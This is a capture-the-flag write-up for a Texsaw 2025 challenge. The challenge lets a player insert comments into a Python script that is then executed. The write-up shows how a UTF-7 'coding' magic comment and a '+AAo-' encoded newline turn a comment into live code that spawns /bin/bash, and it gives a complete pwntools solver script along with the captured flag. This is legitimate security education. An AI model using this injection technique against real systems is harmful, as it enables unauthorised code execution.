Challenge
- CTF:
Texsaw 2025
- Title:
My Awesome Python Homework Assignment
- Category:
Misc
- Description:
I just finished my programming assignment but I forgot to add comments! Can you add some comments to my homework so I don't lose points?
- Connection:
nc 74.207.229.59 20240
The challenge is written in Python and contains the source code for a second python application, written to validate whether a String is palindrome or not. The challenge lets us insert comment lines within the ‘palindrome’ application. Once we’re done with the insertions, the resulting code will be saved in a file and executed. This is the challenge source code:
#!/usr/local/bin/python
import subprocess
code = """
def isPalindrome(s):
result = True
for i in range(len(s) // 2):
characterOne = s[i]
characterTwo = s[len(s) - 1 - i]
if characterOne != characterTwo:
result = False
return result
wordToCheck = input("Enter a word to check if it's a palindrome: ")
if isPalindrome(wordToCheck):
print("Yes, it's a palindrome!")
else:
print("No, it's not a palindrome.")
""".strip().split('\n')
print('-' * 10)
print('\n'.join(code))
print('-' * 10)
while True:
lno = int(input('line number: '))
comment = input('comment: ')
code.insert(lno, f'# {comment}')
print('-' * 10)
print('\n'.join(code))
print('-' * 10)
if input('add more? [y/N]: ') not in ['y', 'Y']:
break
name = '/tmp/my_awesome_assignment1.py'
with open(name, 'w') as f:
f.write('\n'.join(code))
subprocess.run(['python', name])
Solution
To obtain code execution from comment lines, we can exploit the so called ‘Magic comments’ in Python. This CTF guide explains in detail the process.
The exploit involves:
- Specifying an encoding in the first line of the file using:
# coding: utf_7
- Inserting the payload to execute, in this case a simple shell invocation:
+AAo-import os;os.system("/bin/bash")
The important element of the payload is the sequence ‘+AAo-‘, that represents the UTF-7 encoding of the new-line character ‘\n’. When the resulting file will be executed via the Python intepreter, the UTF-7 encoding will be enabled and the payload will begin on a new, non-commented line, granting code execution.
Finally, we can obtain the flag by issuing
cat /flag.txt
within the freshly spawned remote shell.
Exploit
We can automate the exploit using the ‘pwn’ module in Python:
from pwn import *
host, port = '74.207.229.59',20240
r = remote(host, port)
## setting utf_7 encoding
r.recv()
r.sendline(b'0')
r.recv()
r.sendline(b'coding: utf_7')
r.recv()
r.sendline(b'Y')
## sending payload
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'+AAo-import os;os.system("/bin/bash")')
r.recv()
r.sendline(b'')
# printing the flag
r.sendline(b'cat /flag.txt')
print(r.recvline().decode())
Launching the exploit we receive the flag:
$ python solver.py
[+] Opening connection to 74.207.229.59 on port 20240: Done
texsaw{i_got_100%,thanks!!1!}
[*] Closed connection to 74.207.229.59 port 20240